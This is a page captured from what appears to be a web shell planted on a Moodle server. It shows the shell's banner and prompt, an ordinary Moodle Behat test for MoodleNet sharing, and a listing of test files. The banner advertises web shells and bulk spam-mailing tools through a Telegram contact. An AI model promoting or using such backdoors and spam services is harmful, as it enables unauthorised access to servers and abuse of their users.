__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core
Feature: MoodleNet outbound send activity
  In order to send activity to MoodleNet server
  As a teacher
  I need to be able package the activity and share to MoodleNet

  Background:
    Given I log in as "admin"
    And a MoodleNet mock server is configured
    And the following config values are set as admin:
      | enablesharingtomoodlenet | 1 |
    And I navigate to "Server > OAuth 2 services" in site administration
    And I press "MoodleNet"
    And I should see "Create new service: MoodleNet"
    And I change the MoodleNet field "Service base URL" to mock server
    And I press "Save changes"
    And I navigate to "MoodleNet > MoodleNet outbound settings" in site administration
    And I set the field "Auth 2 service" to "MoodleNet"
    And I press "Save changes"
    And the following course exists:
      | name      | Test course |
      | shortname | C1          |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Student   | 1        | student1@example.com |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
      | manager1 | Manager   | 1        | manager1@example.com |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | manager1 | C1     | manager        |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
    And the following "activities" exist:
      | activity | course | idnumber | name              | intro             |
      | assign   | C1     | assign1  | Test Assignment 1 | Test Assignment 1 |

  Scenario: Share to MoodleNet menu only be available for teachers and managers
    Given I am on the "Test Assignment 1" "assign activity" page logged in as student1
    Then "Share to MoodleNet" "link" should not exist in current page administration
    And I am on the "Test Assignment 1" "assign activity" page logged in as teacher1
    And "Share to MoodleNet" "link" should exist in current page administration
    And I am on the "Test Assignment 1" "assign activity" page logged in as manager1
    And "Share to MoodleNet" "link" should exist in current page administration

  Scenario: Share to MoodleNet menu only be available for user that has capability only
    Given the following "permission overrides" exist:
      | capability                    | permission | role           | contextlevel | reference |
      | moodle/moodlenet:shareactivity | Prohibit   | editingteacher | Course       | C1        |
    When I am on the "Test Assignment 1" "assign activity" page logged in as teacher1
    Then "Share to MoodleNet" "link" should not exist in current page administration
    And I am on the "Test Assignment 1" "assign activity" page logged in as manager1
    And "Share to MoodleNet" "link" should exist in current page administration
    And the following "permission overrides" exist:
      | capability                    | permission | role    | contextlevel | reference |
      | moodle/moodlenet:shareactivity | Prohibit   | manager | Course       | C1        |
    And I am on the "Test Assignment 1" "assign activity" page logged in as manager1
    And "Share to MoodleNet" "link" should not exist in current page administration

  @javascript
  Scenario: User can share activity to MoodleNet
    Given I am on the "Test Assignment 1" "assign activity" page logged in as teacher1
    When I navigate to "Share to MoodleNet" in current page administration
    Then I should see "Assignment" in the "Share to MoodleNet" "dialogue"
    And I should see "Test Assignment 1" in the "Share to MoodleNet" "dialogue"
    And I should see "This activity is being shared with MoodleNet as a resource." in the "Share to MoodleNet" "dialogue"
    And I click on "Share" "button" in the "Share to MoodleNet" "dialogue"
    And I switch to "moodlenet_auth" window
    And I press "Allow" and switch to main window
    And I should see "Saved to MoodleNet drafts"
    And "Go to MoodleNet drafts" "link" should exist in the "Share to MoodleNet" "dialogue"

  @javascript
  Scenario: User can see their shared resources on the MoodleNet share progress page
    Given I am on the "C1" course page logged in as teacher1
    When I navigate to "MoodleNet share progress" in current page administration
    And I should see "There are no shared resources to display at this time."
    And I am on "C1" course homepage
    And I navigate to "Share to MoodleNet" in current page administration
    And I click on "Share" "button" in the "Share to MoodleNet" "dialogue"
    And I switch to "moodlenet_auth" window
    And I press "Allow" and switch to main window
    And I click on "Close" "button" in the "Share to MoodleNet" "dialogue"
    And I am on the "Test Assignment 1" "assign activity" page
    And I navigate to "Share to MoodleNet" in current page administration
    And I click on "Share" "button" in the "Share to MoodleNet" "dialogue"
    And I click on "Close" "button" in the "Share to MoodleNet" "dialogue"
    And I am on "C1" course homepage
    And I navigate to "MoodleNet share progress" in current page administration
    Then "Test course 1" row "Name" column of "generaltable" table should contain "Test course 1"
    And "Test course 1" row "Type" column of "generaltable" table should contain "Course"
    And "Test course 1" row "Send status" column of "generaltable" table should contain "Sent"
    And "Test Assignment 1" row "Name" column of "generaltable" table should contain "Test Assignment 1"
    And "Test Assignment 1" row "Type" column of "generaltable" table should contain "Assignment"
    And "Test Assignment 1" row "Send status" column of "generaltable" table should contain "Sent"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
action_menu.feature File 1.11 KB 0777
action_menu_subpanel.feature File 14.23 KB 0777
action_modal.feature File 2.06 KB 0777
alpha_chooser.feature File 22.13 KB 0777
behat_accessibility.php File 7.8 KB 0777
behat_action_menu.php File 8.45 KB 0777
behat_data_generators.php File 10.55 KB 0777
behat_deprecated.php File 1.41 KB 0777
behat_download.php File 8.42 KB 0777
behat_filters.php File 2.95 KB 0777
behat_forms.php File 33.96 KB 0777
behat_general.php File 115.55 KB 0777
behat_hooks.php File 33.02 KB 0777
behat_moodlenet.php File 2.03 KB 0777
behat_navigation.php File 72.67 KB 0777
behat_permissions.php File 12.62 KB 0777
behat_transformations.php File 7.17 KB 0777
datetime_any.feature File 4.24 KB 0777
dropdown_output.feature File 11.15 KB 0777
enabledashboard.feature File 846 B 0777
expand_single_fieldset.feature File 697 B 0777
largeforms.feature File 2.67 KB 0777
locking.feature File 8.55 KB 0777
menu_navigation_single_activity.feature File 4.04 KB 0777
menu_navigation_topics.feature File 4.38 KB 0777
min_max_version.feature File 1018 B 0777
modal_focus.feature File 1.36 KB 0777
moodlenet_outbound.feature File 5.62 KB 0777
moodlenet_share_course.feature File 3.64 KB 0777
moodlenet_share_partial_course.feature File 5.45 KB 0777
permissionmanager.feature File 3.62 KB 0777
profile_pic_access.feature File 3.32 KB 0777
readonlyform.feature File 1.14 KB 0777
securelayout.feature File 1.96 KB 0777
showuseridentity.feature File 4.26 KB 0777
switch_editing_mode.feature File 2.67 KB 0777
timezone.feature File 431 B 0777
userfeedback.feature File 2.18 KB 0777
Filemanager